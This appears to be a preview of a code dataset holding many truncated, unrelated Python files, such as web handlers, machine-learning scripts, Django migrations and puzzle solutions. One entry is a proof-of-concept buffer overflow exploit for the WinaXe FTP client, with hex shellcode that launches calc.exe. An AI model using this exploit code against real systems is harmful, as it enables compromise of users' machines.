text
stringlengths
8
6.05M
# Web Server Gateway Interface (WSGI) from google.appengine.api import users import webapp2 import json import logging from datetime import datetime import time import datetime from google.appengine.api import urlfetch from google.appengine.ext import ndb from urllib import urlencode import re from urllib2 import unqu...
import os import glob import numpy as np import argparse import pandas as pd from tqdm import tqdm from ensemble_boxes import * def string_to_row(df, fold_num): csv = df.copy() data = {'image_id':[], 'model':None, 'class':[], 'confidence':[], 'x_min':[], 'y_min':[], 'x_max':[], 'y_max': []} im...
#!/usr/bin/env python # coding=utf-8 import ConfigParser import pymongo class MongoConnection(): def __init__(self): config = ConfigParser.SafeConfigParser() config.read("settings.ini") self.conn = pymongo.Connection(config.get("mongodb", "host"), int(config.get("mongodb", "port"))) d...
#!/usr/bin/env python __author__ = "Master Computer Vision. Team 02" __license__ = "M6 Video Analysis" # Import libraries import os import math import cv2 import numpy as np from scipy import ndimage from evaluate import * from sklearn.metrics import confusion_matrix from skimage.segmentation import clear_border from...
import os import sys import shutil sys.path.insert(0, os.path.join("tools", "families")) import fam def export_note(output_dir): with open(os.path.join(output_dir, "README.txt"), "w") as writer: writer.write("This directory contains the datasets used in GeneRax paper.\n") writer.write("The cyanobacteria data...
#import GPIO library & time import RPi.GPIO as GPIO import time #Pin numbers led1 = 7 led2 = 11 led3 = 13 #set GPIO numbering mode and define input pin GPIO.setmode(GPIO.BOARD) #OUT for ledX in [led1, led2, led3]: GPIO.setup(ledX,GPIO.OUT) # Set led's mode is output GPIO.output(ledX, GPIO.LOW) # Set led t...
""" A Bag Learner wrapper. (c) 2017 Paul Livesey """ import numpy as np class BagLearner(object): def __init__(self, learner, kwargs, bags = 20, boost = False, verbose = False): self.learner = learner self.kwa...
import socket,struct import sys #WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit #Discovery hyp3rlinx #ISR: ApparitionSec #hyp3rlinx.altervista.org #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1...
import imaplib import email from email import message import time username = 'gmail_id' password = 'gmail_password' new_message = email.message.Message() new_message.set_unixfrom('satheesh') new_message['Subject'] = 'Sample Message' # from gmail id new_message['From'] = 'eppalapellisatheesh1@gmail.com' # to gmail id...
#!/usr/bin/env python import optparse class IridiumMobileIFace: def __init__(self): pass def main(self): op=optparse.OptionParser() op.add_option("--fetch", help="Fetch messages from satellite network", action="store_true") op.add_option("--mail", help="Send email from file", action="append") op.add_optio...
""" @author: vyildiz """ # Import the modules to be used from Library import numpy as np import math from scipy import special import matplotlib.pyplot as plt import statistics from func_FDC import * def postplot(num, M, V, L, os_probability, streamflow, av_multiplier, Q_futures , Nsize, low_percentile, case_to_der...
def find_next_square(sq): return (sq**0.5 + 1)**2 if (sq**0.5).is_integer() else -1 ''' Complete the findNextSquare method that finds the next integral perfect square after the one passed as a parameter. Recall that an integral perfect square is an integer n such that sqrt(n) is also an integer. If the parameter ...
#!/usr/bin/env python # -*- coding:utf-8 -*- import hmac import hashlib import base64 import struct import time import sys def g_code_3(token): key = base64.b32decode(token) pack = struct.pack(">Q", int(time.time()) // 30) # 将间隔时间转为big-endian(大端序)并且为长整型的字节 sha = hmac.new(key, pack, hashlib.sha1).digest(...
# -*- coding: utf-8 -*- """ Created on Fri Sep 20 14:12:48 2013 @author: bejar """ import scipy.io import numpy as np from scipy import corrcoef from sklearn.cluster import spectral_clustering,affinity_propagation import matplotlib.pyplot as plt from pylab import * from sklearn.metrics import silhouette_score from sk...
import tensorflow as tf import numpy as np import matplotlib import matplotlib.pyplot as plt from tensorflow.keras.layers import Dense from tensorflow.keras import Sequential from tensorflow.keras.optimizers import Adam from sklearn import datasets from sklearn import preprocessing ''' 정규화 1. min, max normalization 2...
from django.db import models # Create your models here. class SiteSetting(models.Model): title = models.CharField(max_length=50, verbose_name='عنوان سایت') address = models.CharField(max_length=200, verbose_name='آدرس شرکت') phone = models.CharField(max_length=50, verbose_name='شماره ی تماس') email =...
from django.shortcuts import render, HttpResponse, HttpResponseRedirect from home.models import Person from datetime import date def home(request): #name = request.POST['name'] #number = request.POST['number'] #print(name, number, '**********haaaaahahahaha') return render(request, 'home.html') de...
import requests import json import os import gitlab import sys from authorization import gl namespace = {} def check_exist(list_available, name): if len(list_available) == 0: print(f"no group or project available for {name} name") sys.exit(1) def get_project(name): projects_available = gl....
# Generated by Django 3.0.5 on 2020-04-29 17:45 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('home', '0005_auto_20200429_1343'), ] operations = [ migrations.RemoveField( model_name='order', name='tags', ...
# Generated by Django 3.0.3 on 2020-05-09 23:01 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('product', '0003_auto_20200509_2259'), ] operations = [ migrations.RenameField( model_name='product', old_name='short_descrip...
def isPrime(num): prime = True if num % num == 0: for i in range(2, num): if num % i != 0: prime = True else: prime = False break return prime def isSquare(num): square = True for x in range(1, num): if x * ...
# most credit goes to https://github.com/lelilia/ <3 busses = [(x[0], int(x[1])) for x in enumerate(open('data/13.txt').read().split('\n')[1].split(',')) if x[1] != 'x'] t = 0 stepsize = 1 print(busses) for departure, bus in busses: while t % bus != (bus - departure) % bus: t += stepsize stepsize *= bus...
""" THE FOLLOWING CODE IS ADAPTED FROM HERE: http://blog.thehumangeo.com/2014/05/12/drawing-boundaries-in-python/ """ #-------------------------------- IMPORTS ----------------------------------- from shapely.ops import cascaded_union, polygonize from scipy.spatial import Delaunay import numpy as np import shapely.ge...
## ucdbioinfo_supernova_pipeline ## runs the process_10xReads.py script from the proc10xG repo ## https://github.com/ucdavis-bioinformatics/proc10xG ## Assumes only a single pair of fastq (R1/R2) files under the fastqs folder import os import json args = {} sbatch_args = {} #TODO take this in from the CLI argument #...
""" This file declares all the valid routes for Dash app URL routing """ HOME_ROUTE = "/" GRAPHS_PAGE_ROUTE = "/graphs"
from importa_e_trata_txts import abre_documento, imprime_planilha import re ''' Algorítmo usado para a main temporária de códigos reutilizáveis ''' lista_titulos_links = [] corpo_documento = abre_documento('links.txt') linhas_documentos = re.findall(r'^([A-Z](?:\S{1,}|\s{1,2})+?)\n*(http(?:\S{1,}|\n)+)\n', corpo_docum...
import json import logging import typing from typing import TYPE_CHECKING import numpy as np import progressbar import requests from kerasltisubmission import loader from kerasltisubmission.exceptions import ( KerasLTISubmissionBadResponseException, KerasLTISubmissionConnectionFailedException, KerasLTISub...
#!/usr/bin/env python from array import * import random class Cell(): def __init__(self,f,g,h,x=0,y=0,label=""): self.x=x self.y=y self.f=f self.g=g self.h=h self.label = label def __str__(self): return "[%d,%d], f: %d, g: %d, h: %d, label: %s" % \ ...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('query', '0013_term'), ] operations = [ migrations.AlterModelOptions( name='query', options={'permiss...
# -*- encoding: utf-8 -*- from home import *
import math import sys import statistics from crapsGame import CrapsGame from math import log10, floor money = int(sys.argv[1]) iterations = int(sys.argv[2]) debug = bool(sys.argv[3] == 'True') if (debug == True): returns = [money*1.5] minimums = [10] else: #returns = [int(money * 1.2), int(money * 1.5), int(mon...
# player.py contains functions to assist in repeating mouse/keyboard # events as read from a file. # * see sample_annotated.txt for file formatting details from pynput import mouse from pynput import keyboard from pynput.mouse import Button from pynput.keyboard import Key from time import sleep class Pl...
# -*- coding: utf-8 -*- # Copyright (c) 2015, Indictrans and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.model.document import Document from mycfo.mycfo_utils import get_central_delivery class TrainingSubscriptionApproval(Document): ...
from panda3d.core import CollisionBox, CollisionNode, BitMask32, CollisionHandlerQueue, TransformState, BitMask32 from bsp.leveleditor.DocObject import DocObject from .SelectionType import SelectionType, SelectionModeTransform from bsp.leveleditor.menu.KeyBind import KeyBind from bsp.leveleditor.math.Line import Line...
# -*- coding: utf-8 -*- import tensorflow as tf # 定义一个简单的计算图,实现向量加法的操作 input1 = tf.constant([1.0,2.0,3.0],name="input1") input2 = tf.Variable(tf.random_uniform([3]),name="input2") output = tf.add_n([input1,input2],name="add") # writer = tf.train.SummaryWriter("/path/to/log",tf.get_default_graph()) writer = tf.summary...
def howSum(targetSum, numbers): if(targetSum == 0): return [] if(targetSum < 0): return None for num in numbers: remainder = targetSum - num remainderResult = howSum(remainder, numbers) if (remainderResult is not None): remainderResult.append(num) ...
from csslib import css CSS = css.CSS3("$favcol:purple;/* comment */body{background-color:$favcol;}") # input as string CSS.parse() # parses string # __help__ for help print CSS.get("__comments__") # gets the comments of the css print CSS.get("__tree__") # gets complete tree print CSS.get("__vars__") # gets the variabl...
import os import sys import holoviews as hv import pandas as pd from rubicon_ml import Rubicon from rubicon_ml.exceptions import RubiconException def get_or_create_project(rubicon, name): try: project = rubicon.create_project(name) except RubiconException: project = rubicon.get_project(name)...
import numpy as np from random import shuffle import sys import tensorflow as tf from tensorflow.image import decode_jpeg, resize from tensorflow.io import read_file from tensorflow.nn import softmax, sparse_softmax_cross_entropy_with_logits from tensorflow.train import AdamOptimizer tf.compat.v1.enable_eager_executio...
class Metacls(type): @classmethod def __new__(mcs, *args, **kwargs): # make a new class object from mcs print(f"META __new__ : {mcs} with:{args} - {kwargs}") # returns a class return super().__new__(*args, **kwargs) def __init__(cls, *args, **kwargs): # initialize t...
if __name__ == '__main__': from andrew_packages.programming_problems.greedy.bandtexts_problem.method1 import RandomLengths size = 20 text_lengths = RandomLengths(size) print("Initial data:") print(text_lengths) import matplotlib.pyplot as plt plt.plot(text_lengths) ...
import sys import os import sqlalchemy import datetime from sqlalchemy import Column, ForeignKey, Integer, String, Text, DateTime, BigInteger from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from sqlalchemy import create_engine from flask_login import UserMixin ...
import pygame from bullet_patterns.no_scope import NoScope from bullet_alien import BulletAlienCinco class Cyclone(NoScope): """A derivative of the NoScope class""" def __init__(self, main_game, shooter): super().__init__(main_game, shooter) self.bullets_per_ring = self.settings.nope_bullets_...
import numpy as np from matplotlib import pyplot as plt import pandas as pd from sklearn.tree import DecisionTreeClassifier dataset = pd.read_csv("C:/Users/Sarthak/Downloads/train.csv") #print(data) clf = DecisionTreeClassifier() #Training Datasets xtrain = dataset.iloc[0:21000,1:].values train_label...
import datetime import unittest from zoomus import components, util import responses def suite(): """Define all the tests of the module.""" suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(PollsV2TestCase)) return suite class PollsV2TestCase(unittest.TestCase): def setUp(self): ...
import torch from tqdm import tqdm from utils.utils import get_lr def fit_one_epoch(model_train, model, yolo_loss, loss_history, optimizer, epoch, epoch_step, epoch_step_val, gen, gen_val, Epoch, cuda): loss = 0 val_loss = 0 model_train.train() print('Start Train') wi...
inputFile = open("/Users/samuelcordano/Documents/adventOfCode/Day7_HandyHaversacks/inputFile.txt","r") Lines = inputFile.readlines() class bag: def __init__(self,name,childBags,parentBags) -> None: self.name = name self.childBags= childBags self.parentBags = parentBags self.visite...
n = int(input()) positive_int = [] negative_int = [] for _ in range(n): integer = int(input()) positive_int.append(integer) if integer >= 0 else negative_int.append(integer) print(positive_int) print(negative_int) print(f"Count of positives: {len(positive_int)}. Sum of negatives: {sum(negative_int)}")
import argparse def get_arguments(): parser = argparse.ArgumentParser() #parser.add_argument('--mode', help='task to be done', default='train') #load, input, save configurations: parser.add_argument('--out',help='output folder for checkpoint',default='./log/lstm_gcn/') parser.add_argument('--...
#!/usr/bin/python3 from sys import argv res = 0 first = True if __name__ == "__main__": for num in argv: if first: first = False else: res = res + int(num) print('{}'.format(res))
import pygame import random import decimal import math import time import os pygame.init() width = 1466 height = 768 size = (width, height) FPS = 120 WHITE = (255, 255, 255) BLACK = (0, 0, 0) myfont = pygame.font.SysFont('Comic Sans MS', 30) angle = [] angle.append(10) angle.append(24) angle.append(44) angle.appen...
from django.urls import path from users import views as user_views app_name = 'users' urlpatterns = [ ]
"""This is module for fetching the source code of a page when provided with a url, this module uses request module. Using this module you can get the html text of page or binary response depending upon your requirements. This module also keep track of the url of page you are accessing, (this can be used to ...
### ### Copyright (C) 2018-2019 Intel Corporation ### ### SPDX-License-Identifier: BSD-3-Clause ### from ....lib import * from ..util import * spec = load_test_spec("vpp", "deinterlace") @slash.requires(have_ffmpeg) @slash.requires(have_ffmpeg_vaapi_accel) @slash.requires(*have_ffmpeg_filter("deinterlace_vaapi")) @s...
from readCSV import hashData, addToHash from firebase import firebase import operator import itertools firebase = firebase.FirebaseApplication('https://statgen-993f4.firebaseio.com/') kills = 4 errors = 6 assists = 9 aces = 11 digs = 13 blocksSolo = 15 blocksAss = 16 # Each teams hashtable calgaryRoster = hashData("...
import base64 import httplib2 import logging import mimetypes import mimetools import urllib, urllib2 import cookielib import urlparse import os, time, stat import getpass HTTP_STATUS_OK = '200' logger = logging.getLogger(__name__) class RestClient(object): content_type = None def __init__(self, base_url, ...
# Copyright (c) 2017-2023 Digital Asset (Switzerland) GmbH and/or its affiliates. All rights reserved. # SPDX-License-Identifier: Apache-2.0 from __future__ import annotations from asyncio import ensure_future, gather, sleep from typing import Sequence import dazl from dazl.ledger import CreateEvent from dazl.ledger...
import numpy as np class gbrbm: def __init__(self, visible = 0, hidden = 0, weights = 0.1, vbias = 0, stddev = 0.25, hbias = 0, adjacency_matrix = None, create_plots = False): # get dimensions (number of visible and hidden units) if hasattr(adjacency_matrix, 'shape'): ...
import tensorflow as tf import numpy as np import matplotlib matplotlib.use('Agg') from multiprocessing import Pool from queue import Queue from sklearn.model_selection import ParameterGrid from sklearn import datasets from sklearn.model_selection import train_test_split from pandas import read_csv from sklearn.prepro...
# Generated by Django 2.2.17 on 2021-01-30 22:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('admin', '0019_update_disabled_accounts_aliases'), ] operations = [ migrations.AlterField( model_name='domain', name...
# PYthon 3.7.3 use cse machine from socket import * import sys import time import statistics def ping (host,port): serverName = host serverPort = port clientSocket = socket(AF_INET, SOCK_DGRAM) #Create UDP client socket seqnum = 3331 pingtimes = 0 rtts = [] while(pingtimes < 15)...
import sys import os sys.path.append(os.path.dirname(__file__)) import func_sign_prob_plugin #print(f'sys-path >{sys.path}<') def create_cutter_plugin(): return func_sign_prob_plugin.FuncSignProbCutterPlugin()
#!/usr/bin/python3 # Task 7. Error code #1 if __name__ == "__main__": import sys import requests the_url = sys.argv[1] my_req = requests.get(the_url) the_resp = my_req.status_code if the_resp >= 400: print("Error code: {}".format(the_resp)) else: print(my_req.text)
import os from time import sleep from shutil import copyfile import db def rename_file(file): path = os.getcwd() path = os.path.join(path,'__pycache__/') new_file = file.split('.') file = os.path.join(path,file) new_file = new_file[0]+'.'+new_file[2] new_file = os.path.join(path,new_file) ...
#!/usr/bin/env python # -*- coding:utf-8 -*- # break 跳出最近所在的循环 # continue 跳到最近所在循环的开头处(来到循环的首行) # pass 占位语句,什么事也不做 # 循环else模块 只有当循环正常离开时才会执行(没有触发break) # 示例,break res = i = 0 while True: i += 1 res += i if i == 100: break print(res) # 示例,continue # 求1~100之内的...
from rest_framework import serializers from api.models import History class HistorySerializer(serializers.ModelSerializer): class Meta: model = History fields = ('id', 'user', 'ip_address', 'browser_info', 'location', 'created_at', 'updated_at')
#Core data types: ''' List: mutable declare: a=[1,2,3] access: a[1],a[1:4] modify: a[1]=100 a.append(8),a.extend([45,65]),a.insert(1,45) delete: del a[2],del a[2:5] a.pop(),a.pop(2),del a a.clear() Tuple: immutable- cannot be changed...
# Generated by Django 2.1.9 on 2019-08-12 07:48 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('whiskydatabase', '0018_auto_20190805_1341'), ] operations = [ migrations.AddField( model_name='whiskyinfo', name='ge...
while True: result = [] N = int(input('Enter integral number: ')) if N % 2 == 1: print('Yes') else: print('No') for element in str(N): result.append(element) no_of_digits = len(result) print(f'There are {no_of_digits} digit(s) in the integral number {N}'...
# Generated by Django 2.2 on 2020-10-04 14:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('instagram', '0010_auto_20201004_1709'), ] operations = [ migrations.AlterField( model_name='socinstaproxy', name='loca...
# The following code is used to watch a video stream, detect Aruco markers, and use # a set of markers to determine the posture of the camera in relation to the plane # of markers. # # Assumes that all markers are on the same plane, for example on the same piece of paper # # Requires camera calibration (see the rest of...
from collections import defaultdict import boto3 import time region = 'us-east-1' ec2 = boto3.resource('ec2', region_name=region) ec2_filter = [{'Name': 'instance-state-name', 'Values': ['running']}] ec2.instances.filter(Filters=ec2_filter).terminate() instance_status = ec2.instances.filter(Filters=[{ 'Name': '...
txt1 = 'A tale that was not right' txt2 = '이 또한 지나가리라.' print(txt1[3:7]) print(txt1[:6]) print(txt2[-4:])
from numpy import genfromtxt import csv clusterinfo="/Users/mengqizhou/Desktop/datamining/assignment5/algorithm2/14/cosine_14.csv"#vnoc tan="/Users/mengqizhou/Desktop/datamining/assignment5/algorithm2/test_article_numbers.csv"#test article number tran="/Users/mengqizhou/Desktop/datamining/assignment5/algorithm2/trainin...
import tkinter as tk import PyPDF2 from PIL import Image, ImageTk print('Is this working?') root = tk.Tk() root.mainloop()
#!/usr/bin/env python # coding: utf-8 # # Necessary Libraries # Define the necessary libraies. # Data can be accessed by both JSON and CSV. # In this part, we will read from JSON format and create simple ML. # In[1]: #source: #https://data.sfgov.org/resource/rkru-6vcg.json #https://data.world/singgih/airtrafficpa...
def is_distance_regular(G): ... def global_parameters(b, c): ... def intersection_array(G): ... def is_strongly_regular(G): ...
import numpy as np import networkx as nx import bsp import matplotlib.pyplot as plt segments = np.array([ [[-1.5, 0], [2, 0]], [[-2, -1], [-2, 1]], [[2, -2], [6, 2]], [[-1, -4], [-4, 2]] ]) tree = bsp.build_tree(segments) fig = plt.figure(figsize=(8,8)) axis = plt.subplot(2,1,1) axis.grid() for segme...
# Given a string S and a character C, return an array of integers # representing the shortest distance from the character C in the string. class Solution: def shortestToChar(self, S, C): res = [] buffer = [] indeces = [ii for ii in range(len(S)) if S[ii] == C] for ii in range...
from slack_sdk.models.dialoags import AbstractDialogSelector # noqa from slack_sdk.models.dialoags import DialogChannelSelector # noqa from slack_sdk.models.dialoags import DialogConversationSelector # noqa from slack_sdk.models.dialoags import DialogExternalSelector # noqa from slack_sdk.models.dialoags import Dia...
# -*- coding: utf-8 -*- from model_mommy import mommy from django.test import TestCase from app.customer.models import Customer from app.fleet import models class ModelsTestCase(TestCase): def setUp(self): self.customer = mommy.make(Customer, cnh_type=['A']) self.vehicle = mommy.make(models.Flee...
import pandas as pd import numpy as np import talib as ta import tushare as ts import matplotlib.pyplot as plt def OBV(ts_code): dw = ts.get_k_data("600647") dw = dw[300:] dw.index = range(len(dw)) obvta = ta.OBV(dw['close'].values,dw['volume'].values) obv=[] for i in range(0,len(dw))...
#!/usr/bin/env python import rospy import time import math from geometry_msgs.msg import Vector3 from geometry_msgs.msg import PoseStamped from std_msgs.msg import Empty from pid_class import PID from rosgraph_msgs.msg import Clock from std_msgs.msg import String class PositionController(): def __init__(self): ...
#!/usr/bin/env python3 # # Copyright (C) 2020 Cambridge Astronomical Survey Unit # # This program is free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later...
import maya.cmds as cmds #importing maya commands to python import maya.mel #Maya Embbeded Language s = cmds.ls(selection = True) #locking the selection of the user ( say object or camera or path,etc) camName=cmds.listCameras() cName=camName[0] cx=0 #assigning angles to zero degrees on each axis cy=0 cz=0 v=45 #increm...
# Sean Kim # Unit 3 Review Problem 11 def get_scores (): dict = {} print ("Enter the name/score pairs separated by a space.") pair = input().strip() while len(pair) > 0: items = pair.split() key = items[0] defi = items[1] dict[key] = defi pair = input().strip...
from pprint import pprint import os devices = [ 'iPhone SE', 'iPhone 8', 'iPhone 8 Plus', 'iPhone X', 'iPhone XS Max', ] screenshots = [ '10_Wallet', '20_History', '30_Channels', '40_Receive', ] expected = set() for device in de...
import time, pytest import sys,os sys.path.insert(1,os.path.abspath(os.path.join(os.path.dirname( __file__ ),'..','..','lib'))) from clsCommon import Common import clsTestService from localSettings import * import localSettings from utilityTestFunc import * import enums class Test: #=========================...
# -*- coding: utf-8 -*- """ Spyder Editor This temporary script file is located here: C:\Users\Standard User\.spyder2\.temp.py """ import numpy as np import csv import time from sklearn import cross_validation from sklearn.metrics import make_scorer traindata = [] file_name = "C:/Users/Standard User/Downloads/train.c...
#!/usr/bin/env python """ Single script for computing spearman correlation between different models and the compositionality ratings. """ import sys import argparse from os.path import basename from numbers import Number import pandas as pd from util import openfile, df_remove_pos, read_vector_file from distances ...
#!/usr/bin/env python3 # Import the EV3-robot library import ev3dev.ev3 as ev3 from time import sleep # Constructor btn = ev3.Button() shut_down = False # Main method def run(): # sensors cs = ev3.ColorSensor('in2'); assert cs.connected # measures light intensity shut_down = False cs.m...
#!/usr/bin/python """ This is the code to accompany the Lesson 1 (Naive Bayes) mini-project. Use a Naive Bayes Classifier to identify emails by their authors authors and labels: Sara has label 0 Chris has label 1 """ import sys from time import time sys.path.append("../tools/") from email_prepro...
# from django.db.models.fields.files import FieldFile from django.forms import widgets from django.forms.widgets import ClearableFileInput, CheckboxInput, FILE_INPUT_CONTRADICTION from django.utils.html import escape, conditional_escape from django.utils.safestring import mark_safe from sorl.thumbnail import get_thum...
#!/usr/bin/env python from distutils.core import setup, Extension from Cython.Build import cythonize setup( ext_modules=cythonize( Extension( "_smatch", sources=["_smatch.pyx", "_gain.cc"], language="c++", extra_compile_args=["-std=c++11"] ) ) )
login = { 'user': 'user', 'password': 'password' } directory = '/Users/usmankhan/Desktop' resources = { 'url': 'https://lms.nust.edu.pk/portal/login/index.php', 'powerpoint': 'https://lms.nust.edu.pk/portal/theme/image.php/nust/core/1464680422/f/powerpoint-24', 'pdf': 'https://lms.nust.edu.pk/portal/theme/i...
import sys class BaseObject(object): """BaseObject""" def __init__(self): self.strip_chars = ' \r\n\t/"\',\\' @staticmethod def convert_boole(target): target = str(target).lower() if target != 'true' and target != 'false': error_message = 'Error: The expected inpu...
# postcodes generator # TASK: takes 2 strings: '67-600' and '82-900' and returns a list of codes between def main(): x = '67-600' y = '82-900' c = [] c.insert(0, x) c.insert(len(c), y) a = (len(c)) def add_new(z): return c.insert((a-1), z) # below examples add_new('79-901'...
import os import numpy as np from astropy.io import fits, ascii from astropy.table import Column import sdss_psf from pyraf import iraf import zeropoints iraf.fuzzy() iraf.gim2d() hst_config = '/mnt/hd3/cosmos/hst_default.sex' # CHANGE THIS TO HST IMAGE DIRECTORY img_path = '/mnt/hd3/cosmos/ACS/' psf_file = '/mnt/h...
#!/usr/bin/env python3 import time import requests import yaml import sys from prometheus_client import start_http_server, Summary, Enum metrics = {} def fetch(l): for name, node in l.items(): try: with metrics.get('skale_fetch_latency').labels(node=name).time(): req = requests.get(node + "/statu...
#!/usr/bin/env python """ Utiliy for looking up the network address of an Amazon ec2 instance """ from argparse import ArgumentParser from awsutils import lookup if __name__ == '__main__': parser = ArgumentParser() parser.add_argument('name', help='Value of the Name tag of an ec2 inst...